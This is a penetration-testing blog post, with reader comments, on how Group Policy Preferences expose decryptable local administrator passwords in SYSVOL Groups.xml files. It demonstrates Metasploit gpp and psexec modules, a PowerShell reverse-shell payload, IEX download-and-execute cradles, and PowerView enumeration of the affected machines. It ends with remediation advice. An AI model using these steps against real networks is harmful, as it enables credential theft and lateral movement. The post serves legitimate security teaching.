Privilege Escalation Via Group Policy Preferences (GPP)

While this is not a new topic in the penetration testing world by any means [Chris Gates (@carnal0wnage) and others were speaking about this way back in 2012], it is still prevalent across many networks today.  It’s important enough to talk about because it is “low-hanging fruit” for pentesters (and hackers) and often one of the first things checked for after an initial foothold into a network, as it can quickly allow for escalation to Local Administrator and lateral movement.  At that point, it often is just a matter of time before complete Domain compromise.

What is GPP?

GPP was introduced with the release of Server 2008 and allows for configuration of Domain-attached machines via group policy.  Domain machines periodically reach out and authenticate to the Domain Controller utilizing the Domain credentials of the logged-in user (these can be, and often are, unprivileged accounts) and pull down policies.  These policies can make all sorts of configuration changes to machines, to include:

  • Start Menu Items
  • Network Drive Mapping
  • Registry Settings
  • Printer Configuration
  • etc…

The GPP Vulnerability

However, the most interesting (and dangerous) feature of GPP is the ability to set passwords for the Local Administrator account.  Group Policies for account management are stored on the Domain Controller in “Groups.xml” files buried in the SYSVOL folder. For example, below is a screenshot from my ENVY machine, where I’ve browsed to the SYSVOL folder on my DANTE Domain Controller (again, authenticating with my unprivileged Domain Credentials).  Please note that while there are only a couple “Groups.xml” in this scenario, a typical corporate server will most likely have many files, corresponding to a large variety of account configuration policies implemented over the years.

groups.xml listing

While some of these files may only contain something as simple as a configuration to rename an existing account, what we are interested in as pentesters are files that contain the “cpassword” field.  These are the policies that will actually set the password for the contained account.  Below is a screenshot of one such file from the DANTE Domain Controller:

groups.xml content

As you can see above, the value of the “cpassword” field appears to be jibberish.  This is because Microsoft encrypts it with AES (using a 32-bit key… yikes!).  The news gets worse upon visiting the MSDN site, which reveals the key utilized with AES is static AND publicly available:

Microsoft MSDN: AES Key

What this means for us as pentesters is that if we have access to ANY Domain account, we can pull down the “cpassword” values for accounts stored on the Domain Controller and simply decrypt the plaintext password.  Given that these policies are set in order to manage multiple machines in a Domain, we can often move laterally, authenticating with Local Administrator privileges to a number of other machines.  This freedom to move around the network can open all sorts of opportunities for further exploitation.  Let’s take a look…

Exploiting The GPP Vulnerability

We are going to start with an “assumed breach” scenario, in which I currently have a shell on a Domain computer (for the sake of this demonstration, let’s say an ignorant Domain user Steve, who is logged onto the ENVY machine, has been successfully phished):


Now that I have a foothold on this Domain machine with the phished user’s Domain credentials, I also have read access to the “Groups.xml” files stored on the Domain Controller.  Utilizing my meterpreter session, I’m going to load a Metasploit module (post/windows/gather/credentials/gpp), which will easily retrieve any “cpassword” values stored and decrypt them utilizing the known AES key:


decrypted password

And there it is: the plaintext password for the Local Administrator account!  Another method of retrieving these credentials is by utilizing a PowerShell script written by Chris Campbell (@obscuresec).   The script can be found here:  Get-GPPPassword.

Let’s attempt to utilize this password to move laterally and authenticate to another Domain computer with these credentials.  While there are many tools to assist in moving laterally (and these will be covered in detail in a future post), for this example we are going to use the Metasploit psexec module (exploit/windows/smb/psexec), which will allow us to pass the compromised credentials and authenticate to another Domain machine.




BOOM!  We have successfully moved from our initial compromised machine, ENVY, to another Domain machine, GREED.  This can be done over and over for any machines that utilize the affected Group Policy and that have Server Message Block (SMB) services open, allowing us to move freely around the network, dumping more credentials and uncovering juicy information.

UPDATE:  On October 21, Will Schroeder (@harmj0y) released an update to PowerView, a PowerShell-based situational awareness tool, to allow the enumeration of Domain machines that utilize a particular Group Policy.  Used in conjunction with the output results from Chris Campbell’s (@obscuresec) Get-GPPPassword script mentioned earlier in this post, it is trivial to determine which Domain machines utilize uncovered Administrator credentials, saving time and guesswork during engagements.  Let’s take a look…

Going back to our original “assumed breach” scenario mentioned at the beginning of this post, we currently have an active Meterpreter session on the ENVY machine.  We will need PowerShell to run our two scripts, Get-GPPPassword and PowerView.  Dropping into a shell from our current Meterpreter session and loading PowerShell will not work, as it is not an interactive session.  Instead, we will need to utilize the Metasploit module (windows/local/payload_inject) and configure it to use the windows/powershell_reverse_tcp payload.  Tying this to our Meterpreter session on ENVY will result in us getting an interactive PowerShell session:



The windows/powershell_reverse_tcp payload takes care of Set-ExecutionPolicy -Bypass on our behalf, so there are no restrictions on the scripts we can run.  Utilizing PowerShell’s Invoke-Expression (IEX) cmdlet, we can load the locally-hosted Get-GPPPassword and PowerView scripts directly into memory on ENVY:

IEX(New-Object Net.WebClient).DownloadString("")
IEX(New-Object Net.WebClient).DownloadString("")

Now that both scripts are loaded, we are able to run any associated commands.  Running GPPPassword within our PowerShell session with return any Administrator account information, as well as the associated Group Policy’s unique identifier (GUID):


The second GUID listed, {4C86DD57-4040-41CD-B163-58F208A26623}, is of interest to us as it sets the Local Administrator password.  We can now can run PowerView’s Get-NetOU command with the GUID argument to return all Organizational Unit(s) (OU) that are linked to the Group Policy.  Piping those results into the Get-NetComputer command will list out all Domain machines tied to the OU(s):

Get-NetOU -GUID "{4C86DD57-4040-41CD-B163-58F208A26623}" | %{ Get-NetComputer -ADSPath $_ }


As we can see above, we now know that there are three Domain machines that will accept our compromised Administrator credentials.  Lateral movement made easy… WOOT!

Special thanks to Chris Campbell for taking the time to help me diagnose some script issues I ran into while creating the scenario for this update.

Remediation / Caveats

Microsoft finally got around to “patching” this vulnerability with MS14-025; however, merely applying the patch will not fix the issue.  This is because so many organizations utilize the GPP method for managing Local Administrator passwords that Microsoft didn’t want to negatively affect business operations for its customers.  Instead, the patch takes the following approach: current policies are restricted to  the”delete” operation only and the ability to deploy new policies has been removed.  This does nothing for any policies that are currently in place and sitting out on SYSVOL, however.  As a result, many organizations remain vulnerable.

Two PowerShell scripts are available for Microsoft to assist customers in moving away from GPP to set Local Administrator credentials and can be found here.  The first script, Get-SettingsWithCPassword.ps1, will clean up all instances of Groups.xml files that contain password information.  The second script, Invoke-PasswordRoll.ps1, is Microsoft’s new solution for Local Administrator account management.  Local passwords are randomly set and then stored in a password-protected CSV file.  The same script can be utilized to decrypt the password later.

While this new solution effectively breaks lateral movement with Local Administrator accounts (even if someone were to uncover the password for one machine’s account, it couldn’t be used to authenticate elsewhere), I can’t help but feel that Domain Administrators hate this solution.  The whole reason to use GPP to deploy a standardized password is to simplify administration of machines and many Domain Administrators may feel like their workload has increased with a very inelegant solution.

In my humble opinion, a better option would have been to allow for the creation of a unique AND strong (not 32-bit please!) encryption key for each Domain.  That being said, if a bunch of machines are set to the same Local Administrator password, all it would take is one compromised machine and subsequent credential dump to be right back in lateral movement heaven.

I’d love to hear your thoughts on the issue.  Is there a better way that allows for the appropriate balance of functionality and security?  Am I missing something?

  • relotnek

    Great stuff! Informative and well written, thanks for putting this out there

  • Mr O

    Have you come across organizations implementing a privileged access management (PAM) solution in conjunction with a two-factor token for authentication to the PAM? Perhaps with the right amount of budget, a PAM solution could assist with managing the credentials admins use to access different resources. Any thoughts?

  • Evan

    With Win10 MS is pushing LAPS for local admin password management.

    • Jonathan


      That seems like an interesting solution; however, I’m curious to see how implementation actually works out in organizations of various sizes and complexity. Also, I’m not sure how quickly organizations will deploy Win10 in their environments given that Microsoft is offering extended support through 2020.

      Anyways, definitely something to keep an eye on. Thanks for the comment!

      – J